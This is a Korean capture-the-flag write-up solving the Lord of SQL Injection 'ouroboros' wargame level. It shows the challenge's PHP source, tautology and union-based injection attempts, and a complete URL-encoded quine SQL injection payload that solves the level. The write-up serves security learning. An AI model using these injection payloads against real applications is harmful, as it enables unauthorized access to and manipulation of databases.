LORD OF SQL INJECTION [ouroboros] 풀이

ouroboros

 

우로보로스

 

 

 

와 소스코드가 짧아졌다!

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
  highlight_file(__FILE__);
?>

 

 

query : select pw from prob_ouroboros where pw='1' or pw like '%'

query : select pw from prob_ouroboros where pw='1' or 1=1#'

 

흠.. 테이블에 아무것도 없는 것 같다.

 

테이블에 직접 데이터를 넣어줘야 할 것 같다. (개꿀문제가 아니었어 ㅠㅠ)

 

 

 

 

 

 

예전에도 테이블이 텅텅빈 문제가 있었던 것 같은데.. 찾아봐야 겠다.

 

https://mandu-mandu.tistory.com/333

LORD OF SQL INJECTION [green_dragon] 풀이

 

uinon을 사용하자!

 

 

 

query : select pw from prob_ouroboros where pw='1' union select 1#'

---

 

Pw : 1

 

 

 if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");

근데 1' union slect 1%23 과 1을 어떻게 같게 하지..

 

 

 

 

 

Quine 이라는 것이 있다!

 

Quine Sql Injection

https://blog.rwx.kr/quine-sql-injection/

Quine SQL Injection - White Security

 

 

?pw=1%27%20union%20SELECT%20REPLACE(REPLACE(%271"%20union%20SELECT%20REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27,CHAR(34),CHAR(39)),CHAR(36),%271"%20union%20SELECT%20REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27)%20AS%20Quine%23

 

 

 

OUROBOROS Clear!

 

 

 

https://www.shysecurity.com/post/20140705-SQLi-Quine

코게 문제에도 나왔었다고 한다.